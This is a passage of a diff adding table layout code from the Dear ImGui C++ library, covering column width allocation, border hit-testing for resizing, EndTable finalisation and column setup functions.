column->WidthRequest = column->WidthAuto = ImMax(column->WidthAuto, column->InitStretchWeightOrWidth); // Use user value regardless of IsPreserveWidthAuto + + // Process auto-fit for non-stretched columns + // Latch initial size for fixed columns and update it constantly for auto-resizing column (unless clipped!) + if ((column->AutoFitQueue != 0x00) || ((column->Flags & ImGuiTableColumnFlags_WidthAuto) && column->IsVisibleX)) + column->WidthRequest = column->WidthAuto; + + // FIXME-TABLE: Increase minimum size during init frame to avoid biasing auto-fitting widgets + // (e.g. TextWrapped) too much. Otherwise what tends to happen is that TextWrapped would output a very + // large height (= first frame scrollbar display very off + clipper would skip lots of items). + // This is merely making the side-effect less extreme, but doesn't properly fixes it. + // FIXME: Move this to ->WidthGiven to avoid temporary lossyless? + // FIXME: This break IsPreserveWidthAuto from not flickering if the stored WidthAuto was smaller. + if (column->AutoFitQueue > 0x01 && table->IsInitializing && !column->IsPreserveWidthAuto) + column->WidthRequest = ImMax(column->WidthRequest, table->MinColumnWidth * 4.0f); // FIXME-TABLE: Another constant/scale? + count_fixed += 1; + sum_width_fixed_requests += column->WidthRequest; + } + else + { + IM_ASSERT(column->Flags & ImGuiTableColumnFlags_WidthStretch); + + // Revert or initialize weight (when column->StretchWeight < 0.0f normally it means there has been no init value so it'll always default to 1.0f) + if (column->AutoFitQueue != 0x00 || column->StretchWeight < 0.0f) + column->StretchWeight = (column->InitStretchWeightOrWidth > 0.0f) ? column->InitStretchWeightOrWidth : 1.0f; + + sum_weights_stretched += column->StretchWeight; + if (table->LeftMostStretchedColumn == -1 || table->Columns[table->LeftMostStretchedColumn].DisplayOrder > column->DisplayOrder) + table->LeftMostStretchedColumn = (ImGuiTableColumnIdx)column_n; + if (table->RightMostStretchedColumn == -1 || table->Columns[table->RightMostStretchedColumn].DisplayOrder < column->DisplayOrder) + table->RightMostStretchedColumn = (ImGuiTableColumnIdx)column_n; + } + column->IsPreserveWidthAuto = false; + max_width_auto = ImMax(max_width_auto, column->WidthAuto); + sum_width_fixed_requests += table->CellPaddingX * 2.0f; + } + table->ColumnsEnabledFixedCount = (ImGuiTableColumnIdx)count_fixed; + + // [Part 4] Apply "same widths" feature. + // - When all columns are fixed or columns are of mixed type: use the maximum auto width. + // - When all columns are stretch: use same weight. + const bool mixed_same_widths = (table->Flags & ImGuiTableFlags_SameWidths) && count_fixed > 0; + if (table->Flags & ImGuiTableFlags_SameWidths) + { + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + if (!(table->EnabledMaskByIndex & ((ImU64)1 << column_n))) + continue; + ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->Flags & (ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_WidthAuto)) + { + sum_width_fixed_requests += max_width_auto - column->WidthRequest; // Update old sum + column->WidthRequest = max_width_auto; + } + else + { + sum_weights_stretched += 1.0f - column->StretchWeight; // Update old sum + column->StretchWeight = 1.0f; + if (mixed_same_widths) + column->WidthRequest = max_width_auto; + } + } + } + + // [Part 5] Apply final widths based on requested widths + const ImRect work_rect = table->WorkRect; + const float width_spacings = (table->OuterPaddingX * 2.0f) + (table->CellSpacingX1 + table->CellSpacingX2) * (table->ColumnsEnabledCount - 1); + const float width_avail = ((table->Flags & ImGuiTableFlags_ScrollX) && table->InnerWidth == 0.0f) ? table->InnerClipRect.GetWidth() : work_rect.GetWidth(); + const float width_avail_for_stretched_columns = mixed_same_widths ? 0.0f : width_avail - width_spacings - sum_width_fixed_requests; + float width_remaining_for_stretched_columns = width_avail_for_stretched_columns; + table->ColumnsGivenWidth = width_spacings + (table->CellPaddingX * 2.0f) * table->ColumnsEnabledCount; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + if (!(table->EnabledMaskByIndex & ((ImU64)1 << column_n))) + continue; + ImGuiTableColumn* column = &table->Columns[column_n]; + + // Allocate width for stretched/weighted columns (StretchWeight gets converted into WidthRequest) + if ((column->Flags & ImGuiTableColumnFlags_WidthStretch) && !mixed_same_widths) + { + float weight_ratio = column->StretchWeight / sum_weights_stretched; + column->WidthRequest = IM_FLOOR(ImMax(width_avail_for_stretched_columns * weight_ratio, table->MinColumnWidth) + 0.01f); + width_remaining_for_stretched_columns -= column->WidthRequest; + } + + // [Resize Rule 1] The right-most Visible column is not resizable if there is at least one Stretch column + // See additional comments in TableSetColumnWidth(). + if (column->NextEnabledColumn == -1 && table->LeftMostStretchedColumn != -1) + column->Flags |= ImGuiTableColumnFlags_NoDirectResize_; + + // Assign final width, record width in case we will need to shrink + column->WidthGiven = ImFloor(ImMax(column->WidthRequest, table->MinColumnWidth)); + table->ColumnsGivenWidth += column->WidthGiven; + } + + // [Part 6] Redistribute stretch remainder width due to rounding (remainder width is < 1.0f * number of Stretch column). + // Using right-to-left distribution (more likely to match resizing cursor). + if (width_remaining_for_stretched_columns >= 1.0f && !(table->Flags & ImGuiTableFlags_PreciseWidths)) + for (int order_n = table->ColumnsCount - 1; sum_weights_stretched > 0.0f && width_remaining_for_stretched_columns >= 1.0f && order_n >= 0; order_n--) + { + if (!(table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n))) + continue; + ImGuiTableColumn* column = &table->Columns[table->DisplayOrderToIndex[order_n]]; + if (!(column->Flags & ImGuiTableColumnFlags_WidthStretch)) + continue; + column->WidthRequest += 1.0f; + column->WidthGiven += 1.0f; + width_remaining_for_stretched_columns -= 1.0f; + } + + table->HoveredColumnBody = -1; + table->HoveredColumnBorder = -1; + const ImRect mouse_hit_rect(table->OuterRect.Min.x, table->OuterRect.Min.y, table->OuterRect.Max.x, ImMax(table->OuterRect.Max.y, table->OuterRect.Min.y + table->LastOuterHeight)); + const bool is_hovering_table = ItemHoverable(mouse_hit_rect, 0); + + // [Part 7] Setup final position, offset, skip/clip states and clipping rectangles, detect hovered column + // Process columns in their visible orders as we are comparing the visible order and adjusting host_clip_rect while looping. + int visible_n = 0; + float offset_x = ((table->FreezeColumnsCount > 0) ? table->OuterRect.Min.x : work_rect.Min.x) + table->OuterPaddingX - table->CellSpacingX1; + ImRect host_clip_rect = table->InnerClipRect; + //host_clip_rect.Max.x += table->CellPaddingX + table->CellSpacingX2; + table->VisibleMaskByIndex = 0x00; + table->RequestOutputMaskByIndex = 0x00; + for (int order_n = 0; order_n < table->ColumnsCount; order_n++) + { + const int column_n = table->DisplayOrderToIndex[order_n]; + ImGuiTableColumn* column = &table->Columns[column_n]; + + column->NavLayerCurrent = (ImS8)((table->FreezeRowsCount > 0 || column_n < table->FreezeColumnsCount) ? ImGuiNavLayer_Menu : ImGuiNavLayer_Main); + + if (table->FreezeColumnsCount > 0 && table->FreezeColumnsCount == visible_n) + offset_x += work_rect.Min.x - table->OuterRect.Min.x; + + // Clear status flags + column->Flags &= ~ImGuiTableColumnFlags_StatusMask_; + + if ((table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n)) == 0) + { + // Hidden column: clear a few fields and we are done with it for the remainder of the function. + // We set a zero-width clip rect but set Min.y/Max.y properly to not interfere with the clipper. + column->MinX = column->MaxX = column->WorkMinX = column->ClipRect.Min.x = column->ClipRect.Max.x = offset_x; + column->WidthGiven = 0.0f; + column->ClipRect.Min.y = work_rect.Min.y; + column->ClipRect.Max.y = FLT_MAX; + column->ClipRect.ClipWithFull(host_clip_rect); + column->IsVisibleX = column->IsVisibleY = column->IsRequestOutput = false; + column->IsSkipItems = true; + column->ItemWidth = 1.0f; + continue; + } + + // Detect hovered column + if (is_hovering_table && g.IO.MousePos.x >= column->ClipRect.Min.x && g.IO.MousePos.x < column->ClipRect.Max.x) + table->HoveredColumnBody = (ImGuiTableColumnIdx)column_n; + + // Lock start position + column->MinX = offset_x; + + // Lock width based on start position and minimum/maximum width for this position + float max_width = TableGetMaxColumnWidth(table, column_n); + column->WidthGiven = ImMin(column->WidthGiven, max_width); + column->WidthGiven = ImMax(column->WidthGiven, ImMin(column->WidthRequest, table->MinColumnWidth)); + column->MaxX = offset_x + column->WidthGiven + table->CellSpacingX1 + table->CellSpacingX2 + table->CellPaddingX * 2.0f; + + // Lock other positions + // - ClipRect.Min.x: Because merging draw commands doesn't compare min boundaries, we make ClipRect.Min.x match left bounds to be consistent regardless of merging. + // - ClipRect.Max.x: using WorkMaxX instead of MaxX (aka including padding) makes things more consistent when resizing down, tho slightly detrimental to visibility in very-small column. + // - ClipRect.Max.x: using MaxX makes it easier for header to receive hover highlight with no discontinuity and display sorting arrow. + // - FIXME-TABLE: We want equal width columns to have equal (ClipRect.Max.x - WorkMinX) width, which means ClipRect.max.x cannot stray off host_clip_rect.Max.x else right-most column may appear shorter. + column->WorkMinX = column->MinX + table->CellPaddingX + table->CellSpacingX1; + column->WorkMaxX = column->MaxX - table->CellPaddingX - table->CellSpacingX2; // Expected max + column->ItemWidth = ImFloor(column->WidthGiven * 0.65f); + column->ClipRect.Min.x = column->MinX; + column->ClipRect.Min.y = work_rect.Min.y; + column->ClipRect.Max.x = column->MaxX; //column->WorkMaxX; + column->ClipRect.Max.y = FLT_MAX; + column->ClipRect.ClipWithFull(host_clip_rect); + + // Mark column as Clipped (not in sight) + // Note that scrolling tables (where inner_window != outer_window) handle Y clipped earlier in BeginTable() so IsVisibleY really only applies to non-scrolling tables. + // FIXME-TABLE: Because InnerClipRect.Max.y is conservatively ==outer_window->ClipRect.Max.y, we never can mark columns _Above_ the scroll line as not IsVisibleY. + // Taking advantage of LastOuterHeight would yield good results there... + // FIXME-TABLE: Y clipping is disabled because it effectively means not submitting will reduce contents width which is fed to outer_window->DC.CursorMaxPos.x, + // and this may be used (e.g. typically by outer_window using AlwaysAutoResize or outer_window's horizontal scrollbar, but could be something else). + // Possible solution to preserve last known content width for clipped column. Test 'table_reported_size' fails when enabling Y clipping and window is resized small. + column->IsVisibleX = (column->ClipRect.Max.x > column->ClipRect.Min.x); + column->IsVisibleY = true; // (column->ClipRect.Max.y > column->ClipRect.Min.y); + const bool is_visible = column->IsVisibleX; //&& column->IsVisibleY; + if (is_visible) + table->VisibleMaskByIndex |= ((ImU64)1 << column_n); + + // Mark column as requesting output from user. Note that fixed + non-resizable sets are auto-fitting at all times and therefore always request output. + column->IsRequestOutput = is_visible || column->AutoFitQueue != 0 || column->CannotSkipItemsQueue != 0; + if (column->IsRequestOutput) + table->RequestOutputMaskByIndex |= ((ImU64)1 << column_n); + + // Mark column as SkipItems (ignoring all items/layout) + column->IsSkipItems = !column->IsEnabled || table->HostSkipItems; + if (column->IsSkipItems) + IM_ASSERT(!is_visible); + + // Update status flags + column->Flags |= ImGuiTableColumnFlags_IsEnabled; + if (is_visible) + column->Flags |= ImGuiTableColumnFlags_IsVisible; + if (column->SortOrder != -1) + column->Flags |= ImGuiTableColumnFlags_IsSorted; + if (table->HoveredColumnBody == column_n) + column->Flags |= ImGuiTableColumnFlags_IsHovered; + + // Alignment + // FIXME-TABLE: This align based on the whole column width, not per-cell, and therefore isn't useful in + // many cases (to be able to honor this we might be able to store a log of cells width, per row, for + // visible rows, but nav/programmatic scroll would have visible artifacts.) + //if (column->Flags & ImGuiTableColumnFlags_AlignRight) + // column->WorkMinX = ImMax(column->WorkMinX, column->MaxX - column->ContentWidthRowsUnfrozen); + //else if (column->Flags & ImGuiTableColumnFlags_AlignCenter) + // column->WorkMinX = ImLerp(column->WorkMinX, ImMax(column->StartX, column->MaxX - column->ContentWidthRowsUnfrozen), 0.5f); + + // Reset content width variables + column->ContentMaxXFrozen = column->ContentMaxXUnfrozen = column->WorkMinX; + column->ContentMaxXHeadersUsed = column->ContentMaxXHeadersIdeal = column->WorkMinX; + + // Don't decrement auto-fit counters until container window got a chance to submit its items + if (table->HostSkipItems == false) + { + column->AutoFitQueue >>= 1; + column->CannotSkipItemsQueue >>= 1; + } + + if (visible_n < table->FreezeColumnsCount) + host_clip_rect.Min.x = ImMax(host_clip_rect.Min.x, column->MaxX + TABLE_BORDER_SIZE); + + offset_x += column->WidthGiven + table->CellSpacingX1 + table->CellSpacingX2 + table->CellPaddingX * 2.0f; + visible_n++; + } + + // [Part 8] Detect/store when we are hovering the unused space after the right-most column (so e.g. context menus can react on it) + // Clear Resizable flag if none of our column are actually resizable (either via an explicit _NoResize flag, either + // because of using _WidthAuto/_WidthStretch). This will hide the resizing option from the context menu. + const float unused_x1 = ImMax(table->WorkRect.Min.x, table->Columns[table->RightMostEnabledColumn].ClipRect.Max.x); + if (is_hovering_table && table->HoveredColumnBody == -1) + { + if (g.IO.MousePos.x >= unused_x1) + table->HoveredColumnBody = (ImGuiTableColumnIdx)table->ColumnsCount; + } + if (count_resizable == 0 && (table->Flags & ImGuiTableFlags_Resizable)) + table->Flags &= ~ImGuiTableFlags_Resizable; + + // [Part 9] Lock actual OuterRect/WorkRect right-most position. + // This is done late to handle the case of fixed-columns tables not claiming more widths that they need. + // Because of this we are careful with uses of WorkRect and InnerClipRect before this point. + if (table->RightMostStretchedColumn != -1) + table->IsOuterRectAutoFitX = false; + if (table->IsOuterRectAutoFitX) + { + table->OuterRect.Max.x = table->WorkRect.Max.x = unused_x1; + table->InnerClipRect.Max.x = ImMin(table->InnerClipRect.Max.x, unused_x1); + } + table->InnerWindow->ParentWorkRect = table->WorkRect; + table->BorderX1 = table->InnerClipRect.Min.x;// +((table->Flags & ImGuiTableFlags_BordersOuter) ? 0.0f : -1.0f); + table->BorderX2 = table->InnerClipRect.Max.x;// +((table->Flags & ImGuiTableFlags_BordersOuter) ? 0.0f : +1.0f); + + // [Part 10] Allocate draw channels and setup background cliprect + TableSetupDrawChannels(table); + + // [Part 11] Hit testing on borders + if (table->Flags & ImGuiTableFlags_Resizable) + TableUpdateBorders(table); + table->LastFirstRowHeight = 0.0f; + table->IsLayoutLocked = true; + table->IsUsingHeaders = false; + + // [Part 12] Context menu + if (table->IsContextPopupOpen && table->InstanceCurrent == table->InstanceInteracted) + { + const ImGuiID context_menu_id = ImHashStr("##ContextMenu", 0, table->ID); + if (BeginPopupEx(context_menu_id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings)) + { + TableDrawContextMenu(table); + EndPopup(); + } + else + { + table->IsContextPopupOpen = false; + } + } + + // [Part 13] Sanitize and build sort specs before we have a change to use them for display. + // This path will only be exercised when sort specs are modified before header rows (e.g. init or visibility change) + if (table->IsSortSpecsDirty && (table->Flags & ImGuiTableFlags_Sortable)) + TableSortSpecsBuild(table); + + // Initial state + ImGuiWindow* inner_window = table->InnerWindow; + if (table->Flags & ImGuiTableFlags_NoClip) + table->DrawSplitter.SetCurrentChannel(inner_window->DrawList, TABLE_DRAW_CHANNEL_NOCLIP); + else + inner_window->DrawList->PushClipRect(inner_window->ClipRect.Min, inner_window->ClipRect.Max, false); +} + +// Process hit-testing on resizing borders. Actual size change will be applied in EndTable() +// - Set table->HoveredColumnBorder with a short delay/timer to reduce feedback noise +// - Submit ahead of table contents and header, use ImGuiButtonFlags_AllowItemOverlap to prioritize widgets +// overlapping the same area. +void ImGui::TableUpdateBorders(ImGuiTable* table) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(table->Flags & ImGuiTableFlags_Resizable); + + // At this point OuterRect height may be zero or under actual final height, so we rely on temporal coherency and + // use the final height from last frame. Because this is only affecting _interaction_ with columns, it is not + // really problematic (whereas the actual visual will be displayed in EndTable() and using the current frame height). + // Actual columns highlight/render will be performed in EndTable() and not be affected. + const float hit_half_width = TABLE_RESIZE_SEPARATOR_HALF_THICKNESS; + const float hit_y1 = table->OuterRect.Min.y; + const float hit_y2_body = ImMax(table->OuterRect.Max.y, hit_y1 + table->LastOuterHeight); + const float hit_y2_head = hit_y1 + table->LastFirstRowHeight; + + for (int order_n = 0; order_n < table->ColumnsCount; order_n++) + { + if (!(table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n))) + continue; + + const int column_n = table->DisplayOrderToIndex[order_n]; + ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->Flags & (ImGuiTableColumnFlags_NoResize | ImGuiTableColumnFlags_NoDirectResize_)) + continue; + + // ImGuiTableFlags_NoBordersInBodyUntilResize will be honored in TableDrawBorders() + const float border_y2_hit = (table->Flags & ImGuiTableFlags_NoBordersInBody) ? hit_y2_head : hit_y2_body; + if ((table->Flags & ImGuiTableFlags_NoBordersInBody) && table->IsUsingHeaders == false) + continue; + + ImGuiID column_id = TableGetColumnResizeID(table, column_n, table->InstanceCurrent); + ImRect hit_rect(column->MaxX - hit_half_width, hit_y1, column->MaxX + hit_half_width, border_y2_hit); + //GetForegroundDrawList()->AddRect(hit_rect.Min, hit_rect.Max, IM_COL32(255, 0, 0, 100)); + KeepAliveID(column_id); + + bool hovered = false, held = false; + bool pressed = ButtonBehavior(hit_rect, column_id, &hovered, &held, ImGuiButtonFlags_FlattenChildren | ImGuiButtonFlags_AllowItemOverlap | ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_PressedOnDoubleClick); + if (pressed && IsMouseDoubleClicked(0)) + { + TableSetColumnWidthAutoSingle(table, column_n); + ClearActiveID(); + held = hovered = false; + } + if (held) + { + if (table->LastResizedColumn == -1) + table->ResizeLockMinContentsX2 = table->RightMostEnabledColumn != -1 ? table->Columns[table->RightMostEnabledColumn].MaxX : -FLT_MAX; + table->ResizedColumn = (ImGuiTableColumnIdx)column_n; + table->InstanceInteracted = table->InstanceCurrent; + } + if ((hovered && g.HoveredIdTimer > TABLE_RESIZE_SEPARATOR_FEEDBACK_TIMER) || held) + { + table->HoveredColumnBorder = (ImGuiTableColumnIdx)column_n; + SetMouseCursor(ImGuiMouseCursor_ResizeEW); + } + } +} + +void ImGui::EndTable() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL && "Only call EndTable() if BeginTable() returns true!"); + + // This assert would be very useful to catch a common error... unfortunately it would probably trigger in some + // cases, and for consistency user may sometimes output empty tables (and still benefit from e.g. outer border) + //IM_ASSERT(table->IsLayoutLocked && "Table unused: never called TableNextRow(), is that the intent?"); + + // If the user never got to call TableNextRow() or TableNextColumn(), we call layout ourselves to ensure all our + // code paths are consistent (instead of just hoping that TableBegin/TableEnd will work), get borders drawn, etc. + if (!table->IsLayoutLocked) + TableUpdateLayout(table); + + const ImGuiTableFlags flags = table->Flags; + ImGuiWindow* inner_window = table->InnerWindow; + ImGuiWindow* outer_window = table->OuterWindow; + IM_ASSERT(inner_window == g.CurrentWindow); + IM_ASSERT(outer_window == inner_window || outer_window == inner_window->ParentWindow); + + if (table->IsInsideRow) + TableEndRow(table); + + // Context menu in columns body + if (flags & ImGuiTableFlags_ContextMenuInBody) + if (table->HoveredColumnBody != -1 && !ImGui::IsAnyItemHovered() && ImGui::IsMouseReleased(ImGuiMouseButton_Right)) + TableOpenContextMenu((int)table->HoveredColumnBody); + + // Finalize table height + inner_window->DC.PrevLineSize = table->HostBackupPrevLineSize; + inner_window->DC.CurrLineSize = table->HostBackupCurrLineSize; + inner_window->DC.CursorMaxPos = table->HostBackupCursorMaxPos; + if (inner_window != outer_window) + { + // Both OuterRect/InnerRect are valid from BeginTable + inner_window->DC.CursorMaxPos.y = table->RowPosY2; + } + else if (!(flags & ImGuiTableFlags_NoHostExtendY)) + { + // Patch OuterRect/InnerRect height + table->OuterRect.Max.y = table->InnerRect.Max.y = ImMax(table->OuterRect.Max.y, inner_window->DC.CursorPos.y); + inner_window->DC.CursorMaxPos.y = table->RowPosY2; + } + table->WorkRect.Max.y = ImMax(table->WorkRect.Max.y, table->OuterRect.Max.y); + table->LastOuterHeight = table->OuterRect.GetHeight(); + + if (!(flags & ImGuiTableFlags_NoClip)) + inner_window->DrawList->PopClipRect(); + inner_window->ClipRect = inner_window->DrawList->_ClipRectStack.back(); + + // Draw borders + if ((flags & ImGuiTableFlags_Borders) != 0) + TableDrawBorders(table); + +#if 0 + // Strip out dummy channel draw calls + // We have no way to prevent user submitting direct ImDrawList calls into a hidden column (but ImGui:: calls will be clipped out) + // Pros: remove draw calls which will have no effect. since they'll have zero-size cliprect they may be early out anyway. + // Cons: making it harder for users watching metrics/debugger to spot the wasted vertices. + if (table->DummyDrawChannel != (ImGuiTableColumnIdx)-1) + { + ImDrawChannel* dummy_channel = &table->DrawSplitter._Channels[table->DummyDrawChannel]; + dummy_channel->_CmdBuffer.resize(0); + dummy_channel->_IdxBuffer.resize(0); + } +#endif + + // Flatten channels and merge draw calls + table->DrawSplitter.SetCurrentChannel(inner_window->DrawList, 0); + if ((table->Flags & ImGuiTableFlags_NoClip) == 0) + TableMergeDrawChannels(table); + table->DrawSplitter.Merge(inner_window->DrawList); + + // Update ColumnsAutoFitWidth to get us ahead for host using our size to auto-resize without waiting for next BeginTable() + const float width_spacings = (table->OuterPaddingX * 2.0f) + (table->CellSpacingX1 + table->CellSpacingX2) * (table->ColumnsEnabledCount - 1); + table->ColumnsAutoFitWidth = width_spacings + (table->CellPaddingX * 2.0f) * table->ColumnsEnabledCount; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + if (table->EnabledMaskByIndex & ((ImU64)1 << column_n)) + table->ColumnsAutoFitWidth += TableGetColumnWidthAuto(table, &table->Columns[column_n]); + + // Update scroll + if ((table->Flags & ImGuiTableFlags_ScrollX) == 0 && inner_window != outer_window) + { + inner_window->Scroll.x = 0.0f; + } + else if (table->LastResizedColumn != -1 && table->ResizedColumn == -1 && inner_window->ScrollbarX && table->InstanceInteracted == table->InstanceCurrent) + { + // When releasing a column being resized, scroll to keep the resulting column in sight + const float neighbor_width_to_keep_visible = table->MinColumnWidth + table->CellPaddingX * 2.0f; + ImGuiTableColumn* column = &table->Columns[table->LastResizedColumn]; + if (column->MaxX < table->InnerClipRect.Min.x) + SetScrollFromPosX(inner_window, column->MaxX - inner_window->Pos.x - neighbor_width_to_keep_visible, 1.0f); + else if (column->MaxX > table->InnerClipRect.Max.x) + SetScrollFromPosX(inner_window, column->MaxX - inner_window->Pos.x + neighbor_width_to_keep_visible, 1.0f); + } + + // Apply resizing/dragging at the end of the frame + if (table->ResizedColumn != -1 && table->InstanceCurrent == table->InstanceInteracted) + { + ImGuiTableColumn* column = &table->Columns[table->ResizedColumn]; + const float new_x2 = (g.IO.MousePos.x - g.ActiveIdClickOffset.x + TABLE_RESIZE_SEPARATOR_HALF_THICKNESS); + const float new_width = ImFloor(new_x2 - column->MinX - table->CellSpacingX1 - table->CellPaddingX * 2.0f); + table->ResizedColumnNextWidth = new_width; + } + + // Pop from id stack + IM_ASSERT_USER_ERROR(inner_window->IDStack.back() == table->ID + table->InstanceCurrent, "Mismatching PushID/PopID!"); + IM_ASSERT_USER_ERROR(outer_window->DC.ItemWidthStack.Size >= table->HostBackupItemWidthStackSize, "Too many PopItemWidth!"); + PopID(); + + // Layout in outer window + const float backup_outer_cursor_pos_x = outer_window->DC.CursorPos.x; + const float backup_outer_max_pos_x = outer_window->DC.CursorMaxPos.x; + const float backup_inner_max_pos_x = inner_window->DC.CursorMaxPos.x; + float max_pos_x = backup_inner_max_pos_x; + if (table->RightMostEnabledColumn != -1) + max_pos_x = ImMax(max_pos_x, table->Columns[table->RightMostEnabledColumn].MaxX); + if (table->ResizedColumn != -1) + max_pos_x = ImMax(max_pos_x, table->ResizeLockMinContentsX2); + inner_window->WorkRect = table->HostBackupWorkRect; + inner_window->ParentWorkRect = table->HostBackupParentWorkRect; + inner_window->SkipItems = table->HostSkipItems; + outer_window->DC.CursorPos = table->OuterRect.Min; + outer_window->DC.ItemWidth = table->HostBackupItemWidth; + outer_window->DC.ItemWidthStack.Size = table->HostBackupItemWidthStackSize; + outer_window->DC.ColumnsOffset = table->HostBackupColumnsOffset; + const float outer_width = table->IsOuterRectAutoFitX ? table->WorkRect.GetWidth() : table->ColumnsAutoFitWidth; + if (inner_window != outer_window) + { + EndChild(); + } + else + { + ImVec2 item_size(outer_width, table->OuterRect.GetHeight()); + ItemSize(item_size); + } + + // Override EndChild/ItemSize max extent with our own to enable auto-resize on the X axis when possible + // FIXME-TABLE: This can be improved (e.g. for Fixed columns we don't want to auto AutoFitWidth? or propagate window auto-fit to table?) + if (table->Flags & ImGuiTableFlags_ScrollX) + { + inner_window->DC.CursorMaxPos.x = max_pos_x; // Set contents width for scrolling + outer_window->DC.CursorMaxPos.x = ImMax(backup_outer_max_pos_x, backup_outer_cursor_pos_x + table->ColumnsGivenWidth + inner_window->ScrollbarSizes.x); // For scrolling + } + else + { + outer_window->DC.CursorMaxPos.x = ImMax(backup_outer_max_pos_x, table->WorkRect.Min.x + outer_width); // For auto-fit + outer_window->DC.CursorPosPrevLine.x = table->WorkRect.Max.x; // For consistent reaction to SameLine() // FIXME: Should be a feature of layout/ItemAdd + } + + // Save settings + if (table->IsSettingsDirty) + TableSaveSettings(table); + table->IsInitializing = false; + + // Clear or restore current table, if any + IM_ASSERT(g.CurrentWindow == outer_window && g.CurrentTable == table); + g.CurrentTableStack.pop_back(); + g.CurrentTable = g.CurrentTableStack.Size ? g.Tables.GetByIndex(g.CurrentTableStack.back().Index) : NULL; + outer_window->DC.CurrentTableIdx = g.CurrentTable ? g.Tables.GetIndex(g.CurrentTable) : -1; +} + +// See "COLUMN SIZING POLICIES" comments at the top of this file +void ImGui::TableSetupColumn(const char* label, ImGuiTableColumnFlags flags, float init_width_or_weight, ImGuiID user_id) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL && "Need to call TableSetupColumn() after BeginTable()!"); + IM_ASSERT(table->IsLayoutLocked == false && "Need to call call TableSetupColumn() before first row!"); + IM_ASSERT((flags & ImGuiTableColumnFlags_StatusMask_) == 0 && "Illegal to pass StatusMask values to TableSetupColumn()"); + if (table->DeclColumnsCount >= table->ColumnsCount) + { + IM_ASSERT_USER_ERROR(table->DeclColumnsCount < table->ColumnsCount, "Called TableSetupColumn() too many times!"); + return; + } + + ImGuiTableColumn* column = &table->Columns[table->DeclColumnsCount]; + table->DeclColumnsCount++; + + // When passing a width automatically enforce WidthFixed policy + // (whereas TableSetupColumnFlags would default to WidthAuto if table is not Resizable) + if ((flags & ImGuiTableColumnFlags_WidthMask_) == 0) + if ((table->Flags & ImGuiTableFlags_SizingPolicyFixed) && (init_width_or_weight > 0.0f)) + flags |= ImGuiTableColumnFlags_WidthFixed; + + TableSetupColumnFlags(table, column, flags); + column->UserID = user_id; + flags = column->Flags; + + // Initialize defaults + if (flags & ImGuiTableColumnFlags_WidthStretch) + IM_ASSERT(init_width_or_weight != 0.0f && "Need to provide a valid weight!"); + column->InitStretchWeightOrWidth = init_width_or_weight; + if (table->IsInitializing && column->WidthRequest < 0.0f && column->StretchWeight < 0.0f) + { + // Init width or weight + if ((flags & ImGuiTableColumnFlags_WidthFixed) && init_width_or_weight > 0.0f) + column->WidthRequest = init_width_or_weight; + if (flags & ImGuiTableColumnFlags_WidthStretch) + column->StretchWeight = (init_width_or_weight > 0.0f) ? init_width_or_weight : -1.0f; + + // Disable auto-fit if an explicit width/weight has been specified + if (init_width_or_weight > 0.0f) + column->AutoFitQueue = 0x00; + } + if (table->IsInitializing) + { + // Init default visibility/sort state + if ((flags & ImGuiTableColumnFlags_DefaultHide) && (table->SettingsLoadedFlags & ImGuiTableFlags_Hideable) == 0) + column->IsEnabled = column->IsEnabledNextFrame = false; + if (flags & ImGuiTableColumnFlags_DefaultSort && (table->SettingsLoadedFlags & ImGuiTableFlags_Sortable) == 0) + { + column->SortOrder = 0; // Multiple columns using _DefaultSort will be reassigned unique SortOrder values when building the sort specs. + column->SortDirection = (column->Flags & ImGuiTableColumnFlags_PreferSortDescending) ? (ImS8)ImGuiSortDirection_Descending : (ImU8)(ImGuiSortDirection_Ascending); + } + } + + // Store name (append with zero-terminator in contiguous buffer) + column->NameOffset = -1; + if (label != NULL && label[0] != 0) + { + column->NameOffset = (ImS16)table->ColumnsNames.size(); + table->ColumnsNames.append(label, label + strlen(label) + 1); + } +} + +// [Public] +void ImGui::TableSetupScrollFreeze(int columns, int rows) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL && "Need to call TableSetupColumn() after BeginTable()!"); + IM_ASSERT(table->IsLayoutLocked == false && "Need to call TableSetupColumn() before first row!"); + IM_ASSERT(columns >= 0 && columns < IMGUI_TABLE_MAX_COLUMNS); + IM_ASSERT(rows >= 0 && rows < 128); // Arbitrary limit + + table->FreezeColumnsRequest = (table->Flags & ImGuiTableFlags_ScrollX) ? (ImGuiTableColumnIdx)columns : 0; + table->FreezeColumnsCount = (table->InnerWindow->Scroll.x != 0.0f) ? table->FreezeColumnsRequest : 0; + table->FreezeRowsRequest = (table->Flags & ImGuiTableFlags_ScrollY) ? (ImGuiTableColumnIdx)rows : 0; + table->FreezeRowsCount = (table->InnerWindow->Scroll.y != 0.0f) ? table->FreezeRowsRequest : 0; + table->IsUnfrozen = (table->FreezeRowsCount == 0); // Make sure this is set before TableUpdateLayout() so ImGuiListClipper can benefit from it.b +} + +int ImGui::TableGetColumnCount() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + return table ? table->ColumnsCount : 0; +} + +const char* ImGui::TableGetColumnName(int column_n) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return NULL; + if (column_n < 0) + column_n = table->CurrentColumn; + return TableGetColumnName(table, column_n); +} + +const char* ImGui::TableGetColumnName(const ImGuiTable* table, int column_n) +{ + if (table->IsLayoutLocked == false && column_n >= table->DeclColumnsCount) + return ""; // NameOffset is invalid at this point + const ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->NameOffset == -1) + return ""; + return &table->ColumnsNames.Buf[column->NameOffset]; +} + +// We allow querying for an extra column in order to poll the IsHovered state of the right-most section 